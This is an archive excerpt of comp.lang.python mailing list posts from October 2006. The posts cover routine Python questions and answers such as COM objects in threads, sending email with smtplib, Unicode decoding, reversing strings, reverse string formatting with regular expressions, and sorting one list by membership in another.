>> "Teja" <tejovathi.p at gmail.com> wrote:
>> >I have an application which uses COM 's Dispatch to create a COM based
>> > object. Now I need to upgrade the application to a threaded one. But
>> > its giving an error that COM and threads wont go together. Specifically
>> > its an attribute error at the point where COM object is invoked. Any
>> > pointers please??????
>> >
>>
>> An actual traceback would help.
>> At a guess, when using COM in a thread
>> you need to call pythoncom.CoInitialize and
>> CoUninitialize yourself.
>>
>>      Roger
>
> Actually Roger, this is the scenario....
>
> I create a COM object at the beginnning of the main thread. In the sub
> thread, I need to access the same instance of the COM object. If it
> were a normal object ie. not a COM obj, i was able to do it. But if it
> were a COM object, its giving an attribute error? Should I pass a COM
> object to the thread. If so How? Please let me know ASAP... Thnks
>

To pass COM objects between threads, usually they'll need to be marshaled
using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled
with pythoncom.CoGetInterfaceAndReleaseStream.

         Roger





From Leo.Kislov at gmail.com  Mon Oct 16 03:45:19 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 16 Oct 2006 00:45:19 -0700
Subject: How to send E-mail without an external SMTP server ?
In-Reply-To: <mailman.556.1160984073.11739.python-list@python.org>
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
	<mailman.556.1160984073.11739.python-list@python.org>
Message-ID: <1160984719.088664.76350@e3g2000cwe.googlegroups.com>



On Oct 16, 12:31 am, "fdu.xia... at gmail.com" <fdu.xia... at gmail.com>
wrote:
> Rob Wolfe wrote:
> > fdu.xia... at gmail.com wrote:
>
> >> Hi,
>
> >> I just want to send a very simple email from within python.
>
> >> I think the standard module of smtpd in python can do this, but I
> >> haven't found documents about how to use it after googleing. Are there
> >> any examples of using smtpd ? I'm not an expert,so I need some examples
> >> to learn how to use it.
>
> > See standard documentation:
>
> >http://docs.python.org/lib/SMTP-example.html
>
> > HTH,
> > RobI have read the example and copied the code and save as send.py, then I
> run it. Here is the output:
> $ python send.py
> From: fdu.xia... at gmail.com
> To: fdu.xia... at gmail.com
> Enter message, end with ^D (Unix) or ^Z (Windows):
> just a test from localhost
> Message length is 82
> send: 'ehlo [202.127.19.74]\r\n'
> reply: '250-WebMail\r\n'
> reply: '250 AUTH plain\r\n'
> reply: retcode (250); Msg: WebMail
> AUTH plain
> send: 'mail FROM:<fdu.xia... at gmail.com>\r\n'
> reply: '502 negative vibes\r\n'
> reply: retcode (502); Msg: negative vibes
> send: 'rset\r\n'
> reply: '502 negative vibes\r\n'
> reply: retcode (502); Msg: negative vibes
> Traceback (most recent call last):
>  File "send.py", line 26, in ?
>    server.sendmail(fromaddr, toaddrs, msg)
>  File "/usr/lib/python2.4/smtplib.py", line 680, in sendmail
>    raise SMTPSenderRefused(code, resp, from_addr)
> smtplib.SMTPSenderRefused: (502, 'negative vibes', 'fdu.xia... at gmail.com')
>
> Do I have to setup a smtp server on my localhost ?

You need to use login method
<http://docs.python.org/lib/SMTP-objects.html>. And by the way, the
subject of your message is very confusing, you are posting log where
you're sending email using external server.



From onurb at xiludom.gro  Tue Oct 24 04:18:48 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 10:18:48 +0200
Subject: http call.
In-Reply-To: <1161673574.597088.135220@h48g2000cwc.googlegroups.com>
References: <1161673574.597088.135220@h48g2000cwc.googlegroups.com>
Message-ID: <453dcc69$0$20628$426a74cc@news.free.fr>

Kirt wrote:
> Hi!
> 
> I have a php program (test.php) on a server. eg:
> http://abc.xyz.com/test.php
> 
> I need my python scripts to make a http call to these program pass some
> data and get back a secret key from the php program..
> 
> Could anyone help me this, what will i need to make a http call to the
> php application?
> 
The fact that it's a PHP (or Java or Python or .NET or whatever)
application is totally orthogonal as long as you're using HTTP. And you
may want to have a look at the urllib and urllib2 modules in the
standard lib.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From lm401 at cam.ac.uk  Wed Oct 11 05:22:55 2006
From: lm401 at cam.ac.uk (LorcanM)
Date: 11 Oct 2006 02:22:55 -0700
Subject: Can pdb be set to break on warnings?
Message-ID: <1160558575.381070.200570@b28g2000cwb.googlegroups.com>

Hello,

I use pdb under Linux to debug my Python code, as in:

python -m pdb myprogram.py

By default it does a postmortem of unhandled exceptions, is there a way
to get it to break on warnings?

Thanks a lot,


 Lorcan.



From ldo at geek-central.gen.new_zealand  Sun Oct  8 00:03:06 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Sun, 08 Oct 2006 17:03:06 +1300
Subject: error handling in user input: is this natural or just laborious
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
Message-ID: <eg9t7t$b2p$1@lust.ihug.co.nz>

In message <1160165545.417968.276460 at b28g2000cwb.googlegroups.com>, sam
wrote:

> i'm still in the early stages, and am trying to code something simple
> and interactive to get the percentages of the portfolio in the five
> different investment categories. i thought i'd get in with the error
> handling early so if someone types in something wrong (like a word), or
> the numbers don't add up to 100%, the error would be caught immediately
> and the user sent back to the start of the loop. granting that there
> may be better ways of doing this, if i decide that i do want to do it
> like this (i.e. a single error requires all data to be re-entered, not
> unreasonable for only five items) ...

One obvious thing is to remove repetitiveness from the code by collecting
the different cases in a data table. E.g.

    data = {}
    input_control = \
        [
            {
                "key" : "cash",
                "description" : "cash percentage",
                "type" : int,
                "describe_type" : "number",
            },
            {
                "key" : "bond",
                "description" : "bond portfolio",
                "type" : int,
                "describe_type" : "number",
            },
            {
                "key" : "blue",
                "description" : "blue-chip percentage",
                "type" : int,
                "describe_type" : "number",
            },
            {
                "key" : "tech",
                "description" : "tech stocks percentage",
                "type" : int,
                "describe_type" : "number",
            },
            {
                "key" : "dev",
                "description" : "developing countries percentage",
                "type" : int,
                "describe_type" : "number",
            },
        ]

    while True :
        index = 0
        while index != len(input_control) :
            control = input_control[index]
            try :
                data[control["key"]] = \
                    control["type"](raw_input(
                            "Please enter a %s index for the portfolio: "
                        %
                            control["description"]
                        ))
                index += 1
        except ValueError :
            print "That is not a %s." % control["describe_type"]
        #end try
    #end while
    if sum([data[k] for k in data]) == 100 :
        break
    print "Those numbers do not sum to 100. Please start again."
#end while



From rtilley at vt.edu  Thu Oct 19 12:46:50 2006
From: rtilley at vt.edu (Brad)
Date: Thu, 19 Oct 2006 12:46:50 -0400
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.758.1161275180.11739.python-list@python.org>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<mailman.758.1161275180.11739.python-list@python.org>
Message-ID: <eh8a5t$rj9$1@solaris.cc.vt.edu>

Fredrik Lundh wrote:
> rick wrote:
> 
>> The Ruby approach makes sense to me as a human being.
> 
> do the humans on your planet spend a lot of time reversing strings? it's 
> definitely not a very common thing to do over here.

On our planet, we're all dyslexic. We tend to do things 'backwards' so 
being able to easily invert what we do helps the people we show the code 
to on your planet make sense of it.

> 
> anyway, if you do this a lot, why not define a helper function?
> 
>     def reverse(s):
>         return s[::-1]
> 
>     print reverse("redael ruoy ot em ekat")

Thanks, that's what I ended up doing.


From fredrik at pythonware.com  Sun Oct 22 10:55:11 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 16:55:11 +0200
Subject: How to print a file in binary mode
In-Reply-To: <1161524030.833422.216370@k70g2000cwa.googlegroups.com>
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>	<pan.2006.10.22.13.06.08.86072@gmx.net>
	<1161524030.833422.216370@k70g2000cwa.googlegroups.com>
Message-ID: <ehg0of$kpn$1@sea.gmane.org>

Lucas wrote:

> I do it because I want to encrypt a string into a picture using RSA
> algorithm.

what does "into" mean?  are you supposed to encrypt the binary data 
representing the JPEG image, or embed a message into the actual image?

 > so I first convert the string to binary,and then saving the binary
 > into picture

you seem to have a rather fuzzy understanding of the words "string" and 
"binary" here.  if you read from a file that's opened in binary mode, 
you get an 8-bit string that contains the binary data.  there's no need 
for any conversion here; just use the data you got from "read".

 > finally, print the picture by binary!

do you mean "save the picture to a binary file", or something else?

</F>



From rpdooling at gmail.com  Mon Oct 30 20:25:23 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 30 Oct 2006 17:25:23 -0800
Subject: Python windows interactive.
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>
	<45467205.3000302@websafe.com>
	<1162253732.035128.91060@e3g2000cwe.googlegroups.com>
Message-ID: <1162257923.231719.189290@m73g2000cwd.googlegroups.com>

Try this, assuming you're in IDLE.

http://hkn.eecs.berkeley.edu/~dyoo/python/idle_intro/index.html

You can enter as many lines as you want in the interpreter. Then press
ENTER twice to get the result.

Or try here if you're looking for some tutorials.

http://tinyurl.com/w7wgp

rd



From gherron at islandtraining.com  Mon Oct 30 12:37:54 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Mon, 30 Oct 2006 09:37:54 -0800
Subject: How to convert "&nbsp;" in a string to blank space?
In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
Message-ID: <45463872.7040306@islandtraining.com>

??? wrote:
> Is there any simple way to solve this problem?
>
>   
Yes, strings have a replace method:

>>> s = "abc&nbsp;def"
>>> s.replace('&nbsp;',' ')
'abc def'

Also various modules that are meant to deal with web and xml and such
have functions to do such operations.


Gary Herron





From miguel at ximian.com  Tue Oct  3 08:52:23 2006
From: miguel at ximian.com (Miguel de Icaza)
Date: Tue, 03 Oct 2006 08:52:23 -0400
Subject: [IronPython] [ANN] IronPython Community Edition 1.0r2
In-Reply-To: <5b0248170609290452i7f86dfe7na49cebb55da85eba@mail.gmail.com>
References: <5b0248170609290452i7f86dfe7na49cebb55da85eba@mail.gmail.com>
Message-ID: <1159879943.5008.68.camel@erandi.dom>

Hello,

> And here's the license and the summary of applied patches:
> http://fepy.sourceforge.net/license.html
> http://fepy.sourceforge.net/patches.html

Do the patches include the various extensions that are being shipped?

Am wondering if you could distribute a IPCE that contains all the
documentation and sources, because it might be good for us to switch to
it from standard IronPython for our distribution purposes.



From NoelByron at gmx.net  Thu Oct 19 05:56:20 2006
From: NoelByron at gmx.net (NoelByron at gmx.net)
Date: 19 Oct 2006 02:56:20 -0700
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<mailman.747.1161250690.11739.python-list@python.org>
Message-ID: <1161251780.255815.245730@i3g2000cwc.googlegroups.com>

> >
> > 'K\xc3\xb6ni'.decode('utf-8')     # 'K\xc3\xb6ni' should be 'K?nig',
>
> "K?ni", to be precise.

?h, yes.
;o)

> > contains a german 'umlaut'
> >
> > but failed since python assumes every string to decode to be ASCII?
>
> that should work, and it sure works for me:
>
>  >>> s = 'K\xc3\xb6ni'.decode('utf-8')
>  >>> s
> u'K\xf6ni'
>  >>> print s
> K?ni
>
> what did you do, and how did it fail?

First, thank you so much for answering so fast. I proposed python for a
project and it would be very embarrassing for me if I would fail
converting a UTF-8 string to latin-1.

I realized that my problem ist not the decode to UTF-8. The exception
is raised by print if I try to print the unicode string.

UnicodeEncodeError: 'ascii' codec can't encode character u'\xf6' in
position 1: ordinal not in range(128)

But that is not a problem at all since I can now turn my UTF-8 strings
to unicode! Once again the problem was sitting right in front of my
screen. Silly me...
;o)

Again, thank you for your reply!

Best regards,
Noel



From fredrik at pythonware.com  Sat Oct 14 15:03:19 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 14 Oct 2006 21:03:19 +0200
Subject: Starting out.
In-Reply-To: <1160847793.990888.95790@m7g2000cwm.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>	<1160784543.238714.132310@k70g2000cwa.googlegroups.com>	<mailman.499.1160806083.11739.python-list@python.org>
	<1160847793.990888.95790@m7g2000cwm.googlegroups.com>
Message-ID: <egrc9o$ivp$1@sea.gmane.org>

mensanator at aol.com wrote:

> (according to the Urban Dictionary).

talk about reliable sources...

</F>



From no-spam at no-spam-no-spam.com  Sat Oct 14 08:47:45 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 14 Oct 2006 14:47:45 +0200
Subject: wxPython installation interferes with win32ui/win32gui
In-Reply-To: <mailman.490.1160781930.11739.python-list@python.org>
References: <egp3j9$jec$1@ulysses.news.tiscali.de>	<egp486$jh6$1@ulysses.news.tiscali.de>
	<mailman.490.1160781930.11739.python-list@python.org>
Message-ID: <egqm9j$pgi$1@ulysses.news.tiscali.de>

Gabriel Genellina wrote:
> At Friday 13/10/2006 19:33, robert wrote:
> 
>> > c:\Python23\pythonw.exe.manifest
>> > c:\Python23python.exe.manifest
>> >
>>
>> I found out that in fact when I move away these 2 files to a backup
>> location after a wx installation, things go well again.
>>
>> What at all do this .manifest files do ?
>> And why do win32ui apps freak out, when these are present?
>> Have post the content of pythonw.exe.manifest below.
>> Are wx apps affected in a bad way, if I remove those files for ever?
> 
> This manifest file tells Windows how to apply visual styles to the 
> application. It's a nightmare to make it work reliably across Windows 
> versions. Just delete the .manifeest file and forget about it...


Thanks, in fact in the wx Installer there is also an option to suppress 
the installation of this files - but the name of this checkbox sounds so 
harmless, that I'd never expect it to have such serious consequences.
Why is this checkbox ON in the installer by default when it is not 
necessary for successful use of wx?

And I'd still like to understand the reason why win32ui apps at all can 
do such strange things like magic automatic pressing of buttons, when 
this .manifest  is active. (This caused some serious trouble here the 
first time, because this win32 tool did some real business transactions 
as OK-buttons were pressed automatically repeatedly until I could 
shutdown the app in the taskmanager..)

-robert


From bignose+hates-spam at benfinney.id.au  Thu Oct 19 19:14:29 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 20 Oct 2006 09:14:29 +1000
Subject: How to use python in TestMaker
References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
	<mailman.733.1161232470.11739.python-list@python.org>
	<1161257895.508598.260290@m7g2000cwm.googlegroups.com>
Message-ID: <87u01zyk2y.fsf@benfinney.id.au>

"kelin,zzf818 at gmail.com" <zzf818 at gmail.com> writes:

> I just can't find a good tool to do Unit Test with Python. Could you
> please tell me any?

Python comes with batteries included.

    <URL:docs.python.org/lib/module-unittest>

-- 
 \      "Two rules to success in life: 1. Don't tell people everything |
  `\                                         you know."  -- Sassan Tat |
_o__)                                                                  |
Ben Finney



From richardjones at optushome.com.au  Wed Oct  4 04:10:11 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Wed, 04 Oct 2006 18:10:11 +1000
Subject: Roundup Issue Tracker release 1.1.3
References: <mailman.1219.1159933673.10491.python-list@python.org>
	<1159947253.283452.178580@b28g2000cwb.googlegroups.com>
Message-ID: <45236c63$0$22358$afc38c87@news.optusnet.com.au>

metaperl.etc at gmail.com wrote:
> Richard Jones wrote:
>> I'm proud to release version 1.1.3 of Roundup.
>> five database back-ends (anydbm, sqlite, metakit,
>> mysql and postgresql).
> 
> That ORM is pretty impressive:
> http://roundup.sourceforge.net/doc-1.0/design.html#roundup-database
> [snip]
> Is it possible to have a table with a multi-column primary key?

No, it's not designed for that level of complexity.


   Richard



From bearophileHUGS at lycos.com  Wed Oct 18 16:53:07 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 18 Oct 2006 13:53:07 -0700
Subject: Flexable Collating (feedback please)
In-Reply-To: <35kZg.6681$fl.2685@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08>
Message-ID: <1161204787.209795.315900@i42g2000cwa.googlegroups.com>

This part of code uses integer "constants" to be or-ed (or added):

CAPS_FIRST = 1
NUMERICAL = 2
HYPHEN_AS_SPACE = 4
UNDERSCORE_AS_SPACE = 8
IGNORE_LEADING_WS = 16
COMMA_IN_NUMERALS = 32

...

def __init__(self, flag):
    self.flag = flag
def transform(self, s):
    """ Transform a string for collating.
    """
    if self.flag & CAPS_FIRST:
        s = s.swapcase()
    if self.flag & HYPHEN_AS_SPACE:
        s = s.replace('-', ' ')
    if self.flag & UNDERSCORE_AS_SPACE:
        s = s.replace('_', ' ')
    if self.flag & IGNORE_LEADING_WS:
        s = s.strip()
    if self.flag & NUMERICAL:
        if self.flag & COMMA_IN_NUMERALS:

This is used in C, but maybe for Python other solutions may be better.
I can see some different (untested) solutions:

1)

def selfassign(self, locals):
    # Code from web.py, modified.
    for key, value in locals.iteritems():
        if key != 'self':
            setattr(self, key, value)

def __init__(self,
             caps_first=False,
             hyphen_as_space=False,
             underscore_as_space=False,
             ignore_leading_ws=False,
             numerical=False,
             comma_in_numerals=False):
    selfassign(self, locals())

def transform(self, s):
    if self.caps_first:
        ...

Disadvangages: if a flag is added/modified, the code has to be modified
in two places.


2)

def __init__(self, **kwds):
    self.lflags = [k for k,v in kwds.items() if v]
def transform(self, s):
    if "caps_first" in self.lflags:
        ...

This class can be created with 1 instead of Trues, to shorten the code.

Disadvantages: the user of this class has to read from the class
doctring or from from the docs the list of possible flags (and such
docs can be out of sync from the code).


3)

Tkinter (Tcl) shows that sometimes strings are better than int
constants (like using "left" instead of tkinter.LEFT, etc), so this is
another possibile solution:

def __init__(self, flags=""):
    self.lflags = flags.lower().split()
def transform(self, s):
    if "caps_first" in self.lflags:
        ...

An example of calling this class:

... = Collate("caps_first  hyphen_as_space  numerical")

I like this third (nonstandard) solution enough.

Bye,
bearophile



From edreamleo at charter.net  Sun Oct 15 17:09:48 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Sun, 15 Oct 2006 16:09:48 -0500
Subject: Tkinter: populating Mac Help menu?
References: <6nMWg.64$ra5.26@newsfe05.lga> <op.tg82z7qgrqur0o@eb.pragmadev>
Message-ID: <CsxYg.1093$di5.342@newsfe06.lga>

> hm = Menu(mb, name='help')

Yes, that worked.  Many thanks for your help with Help.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From python.list at tim.thechases.com  Sat Oct 14 09:20:32 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sat, 14 Oct 2006 08:20:32 -0500
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
Message-ID: <4530E420.2040502@tim.thechases.com>

>>>> template = 'I am %s, and he %s last %s.'
>>>> values = ('coding', "coded', 'week')
>>>> formatted = template % values
>>>> formatted
> 'I am coding, and he coded last week.'
>>>> deformat(formatted, template)
> ('coding', 'coded', 'week')
> 
> expanded (for better visual):
>>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s last %s.')
> ('coding', 'coded', 'week')
> 
> It would return a tuple of strings, since it has no way of telling what
> the original type of each item was.
> 
> Any input? I've looked through the documentation of the string module
> and re module, did a search of the documentation and a search of this
> group, and come up empty-handed.


Yes, in the trivial case you provide, it can be done fairly 
easily using the re module:

 >>> import re
 >>> template = 'I am %s, and he %s last %s.'
 >>> values = ('coding', 'coded', 'week')
 >>> formatted = template % values
 >>> unformat_re = re.escape(template).replace('%s', '(.*)')
 >>> # unformat_re = unformat_re.replace('%i', '([0-9]+)')
 >>> r = re.compile(unformat_re)
 >>> r.match(formatted).groups()
('coding', 'coded', 'week')

Thing's get crazier when you have things like

 >>> answer ='format values into a string'
 >>> template = 'The formatting string %%s is used to %s' % answer

or

 >>> template = 'The value is %0*.*f'
 >>> values = (10, 4, 3.14159)
 >>> formatted = template % values
 >>> formated
'The value is 00003.1415'

or

 >>> template = 'Dear %(name)s, Thank you for the %(gift)s.  It 
was very %(adj).' % {'name': 'Grandma', 'gift': 'sweater', 'adj': 
'nice'}

Additionally, things go a little tangled when the replacement 
values duplicate matters in the template. Should the unformatting 
of "I am tired, and he didn't last last All Saint's Day" be 
parsed as ('tired', "didn't last", "All Saint's Day") or 
('tired', "didn't", "last All Saint's Day").  The /intent/ is 
likely the former, but getting a computer to understand intent is 
a non-trivial task ;)

Just a few early-morning thoughts...

-tkc








From martin at v.loewis.de  Sat Oct 21 12:06:18 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 21 Oct 2006 18:06:18 +0200
Subject: ZODB and Python 2.5
In-Reply-To: <mailman.863.1161372478.11739.python-list@python.org>
References: <mailman.863.1161372478.11739.python-list@python.org>
Message-ID: <453A457A.9010505@v.loewis.de>

Jean-Paul Calderone schrieb:
> Python 2.5 made quite a changes which were not backwards compatible,
> though.  I think for the case of Python 2.4 -> Python 2.5 transition,
> quite a few apps will be broken, many of them in relatively subtle
> ways (for example, they may have been handling OSError instead of
> WindowsError

That shouldn't cause a problem, though: OSError is a base class
of WindowsError, so if handled OSError, the same exception handlers
will get invoked.

The problem occurs when they had been handling WindowsError, and looked
at errno, treating it as a windows error code: errno is now a real POSIX
error number (with the same values that the errno module uses), and
the windows error number is stored in an additional attribute.

> or it might define a
> slightly buggy but previously working __hash__ which returns the id() of
> an object

That shouldn't cause problems, either. It did cause problems in the beta
release, but IIRC, somebody solved this before the release...

> it might have relied on the atime and mtime fields of a
> stat structure being integers rather than floats).

This was actually changed in 2.3, not in 2.5; 2.5 just changed the
value of os.stat_float_times. Advance warning about this change was
given for quite some time (but certainly, most people have ignored
it).

Regards,
Martin


From fredrik at pythonware.com  Wed Oct 25 03:07:39 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 09:07:39 +0200
Subject: Sorting by item_in_another_list
In-Reply-To: <7x1woypbe1.fsf@ruckus.brouhaha.com>
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
Message-ID: <ehn2fr$qoj$1@sea.gmane.org>

Paul Rubin wrote:

>> for example:
>>
>> A = [0,1,2,3,4,5,6,7,8,9,10]
>> B = [2,3,7,8]
>>
>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
> 
> How about:
> 
>   desired_result = B + sorted(x for x in A if x not in B)

assuming that "keep the existing order" means what it says, you might as 
well replace "sorted" with a list comprehension.

</F>



From tejovathi.p at gmail.com  Fri Oct 13 05:38:28 2006
From: tejovathi.p at gmail.com (Teja)
Date: 13 Oct 2006 02:38:28 -0700
Subject: Thread termination
Message-ID: <1160732308.053202.225450@b28g2000cwb.googlegroups.com>

Hi all,

Does any one know how to terminate or kill a thread that is started
with "start_new_thread()" in the middle of its execution?

Any pointers?

Thanks in advance

Teja.



From aisaac0 at verizon.net  Wed Oct 25 09:15:36 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Wed, 25 Oct 2006 13:15:36 GMT
Subject: numbers to string
References: <saA%g.18516$A27.17960@trnddc08>
	<mailman.1135.1161744858.11739.python-list@python.org>
Message-ID: <YrJ%g.6833$hK.3284@trnddc02>

Robert Kern wrote:
 >>> from numpy import *
 >>> y = [116, 114, 121, 32, 116, 104, 105, 115]
 >>> a = array(y, dtype=uint8)
 >>> z = a.tostring()
 >>> z
'try this'



Very nice!  Thanks also to Paul and Travis!
Alan Isaac




From hanumizzle at gmail.com  Fri Oct  6 04:46:44 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 04:46:44 -0400
Subject: Package to handle table text render (handle space or tab between
	the columns) ?
In-Reply-To: <452613b6$0$5108$ba4acef3@news.orange.fr>
References: <45260ab2$0$25946$ba4acef3@news.orange.fr>
	<mailman.1426.1160121819.10491.python-list@python.org>
	<452613b6$0$5108$ba4acef3@news.orange.fr>
Message-ID: <463ff4860610060146rff153b9t24108ee36fdeec1f@mail.gmail.com>

On 10/6/06, KLEIN St?phane <stephane at harobed.org> wrote:
> hanumizzle a ?crit :
> > On 10/6/06, KLEIN St?phane <stephane at harobed.org> wrote:
> >> Hi,
> >>
> >> I would like print tabular values on terminal (stdout). Are there
> >> package to handle table text render ?
> >
> > Have a look at:
> >
> > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267662
>
> Thanks, this package is very useful ! But I'm suprised than this package
> isn't in python standard library !

The occurence of such a problem is relatively rare I would imagine.
Rendering anything formatted to a character cell terminal is
inherently limited, which is why I like lynx: it eliminates all the
dumb formatting crap that people put on their websites, and even
collapses multiple columns into a single stream of pages. Yay!

See also reStructuredText for rendering plain text input to HTML and
other formats (includes tables), sil vous plait.

-- Theerasak


From grahn+nntp at snipabacken.dyndns.org  Thu Oct  5 07:12:49 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 5 Oct 2006 11:12:49 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<4523cc5f$0$25771$4d3efbfe@news.sover.net>
Message-ID: <slrnei9q5f.gim.grahn+nntp@frailea.sa.invalid>

On Wed, 04 Oct 2006 11:00:28 -0400, Leif K-Brooks <eurleif at ecritters.biz> wrote:
> Jorgen Grahn wrote:
>> - infinite xrange()s
>
> itertools.count()?

Oops! You're right. The itertools documentation even refers to the SML and
Haskell languages.  And it contains itertools.izip(), another thing on my
wish list.

I have reasons to be Python 2.2 compatible, so I haven't really looked
through the nice things in 2.3 and up (generators are in __future__ in 2.2).
Stupid of me to overlook itertools, which I've read about here many times.

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From ianb at colorstudy.com  Thu Oct  5 18:55:35 2006
From: ianb at colorstudy.com (Ian Bicking)
Date: 5 Oct 2006 15:55:35 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1159878794.430315.38920@i3g2000cwc.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
	<1159878794.430315.38920@i3g2000cwc.googlegroups.com>
Message-ID: <1160088935.394103.285320@e3g2000cwe.googlegroups.com>

Paul Boddie wrote:
> Perhaps, although I imagine that Trac would have a lot more uptake if
> it handled more than just Subversion repositories.

It handles some other kinds of repositories now (bzr, I think?).  From
what I understand fully abstracting out the repository format seems to
still be a work in progress, but it is in progress and you can write
repository plugins right now.

[...]
> I did briefly look at Trac to see whether I could hack in a WebStack
> backend, and I'd do the same for ViewVC if I had the time, mostly
> because such projects already duplicate a lot of effort just to permit
> the deployment of the software on incompatible server solutions.
> There's certainly a lot these solutions could learn from each other and
> from lesser known solutions.

Trac now includes a WSGI backend, and someone has written a WSGI
backend for ViewVC (though I don't know if it is included with the
project).

Clearly you need to get on the WSGI bandwagon ;)

  Ian



From joncle at googlemail.com  Sat Oct 21 11:27:04 2006
From: joncle at googlemail.com (Jon Clements)
Date: 21 Oct 2006 08:27:04 -0700
Subject: curious paramstyle qmark behavior
In-Reply-To: <1161439068.615887.76140@i3g2000cwc.googlegroups.com>
References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
	<1161375830.733818.99070@i42g2000cwa.googlegroups.com>
	<1161377996.049154.118650@b28g2000cwb.googlegroups.com>
	<1161430119.994468.145810@h48g2000cwc.googlegroups.com>
	<1161439068.615887.76140@i3g2000cwc.googlegroups.com>
Message-ID: <1161444424.177291.88050@m73g2000cwd.googlegroups.com>


BartlebyScrivener wrote:

> Jon Clements wrote:
>
> > if your load on the data-entry/browsing side isn't too heavy, you can
> > use the 'development server' instead of installing a full-blown server
> > such as Apache (I'm not sure if IIS is supported).
>
> What's IIS?

It's Internet Information Services: the MS web/ftp server, that's
standard on some window platforms (Control Panel->Add/Remove
Software->Add/Remove Windows Components - or something like that). I
assumed you were on Windows because of you mentioning Access.

Good luck with your project Rick.

All the best,

Jon.



From fredrik at pythonware.com  Wed Oct 18 13:55:48 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 19:55:48 +0200
Subject: characters in python
In-Reply-To: <eh5p68$qcl$1@ss408.t-com.hr>
References: <eh5p68$qcl$1@ss408.t-com.hr>
Message-ID: <eh5pr4$aaq$1@sea.gmane.org>

Stens wrote:

> Can python handle this characters: ?,?,?,?,??

yes.

> If can how"

depends on the use case: are you trying to put them in source code, in 
files, on the terminal, ... ?

</F>



From cameron.walsh at gmail.com  Tue Oct 24 00:42:01 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Tue, 24 Oct 2006 12:42:01 +0800
Subject: Sorting by item_in_another_list
In-Reply-To: <Gvg%g.15698$GR2.5499@tornado.texas.rr.com>
References: <ehk3p8$j3q$1@enyo.uwa.edu.au>
	<Gvg%g.15698$GR2.5499@tornado.texas.rr.com>
Message-ID: <ehk5in$lb3$1@enyo.uwa.edu.au>

Paul McGuire wrote:
> "Cameron Walsh" <cameron.walsh at gmail.com> wrote in message 
> news:ehk3p8$j3q$1 at enyo.uwa.edu.au...
>> Hi,
>>
>> I have two lists, A and B, such that B is a subset of A.
>>
>> I wish to sort A such that the elements in B are at the beginning of A, 
>> and keep the existing order otherwise, i.e. stable sort.  The order of 
>> elements in B will always be correct.
>>
>> for example:
>>
>> A = [0,1,2,3,4,5,6,7,8,9,10]
>> B = [2,3,7,8]
>>
>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
>>
>>
>> At the moment I have defined a comparator function:
>>
>> def sort_by_in_list(x,y):
>> ret = 0
>> if x in B:
>> ret -= 1
>> if y in B:
>> ret += 1
>> return ret
>>
>> and am using:
>>
>> A.sort(sort_by_in_list)
>>
>> which does produce the desired results.
>>
>> I do now have a few questions:
>>
>> 1.)  Is this the most efficient method for up to around 500 elements? If 
>> not, what would be better?
>> 2.)  This current version does not allow me to choose a different list for 
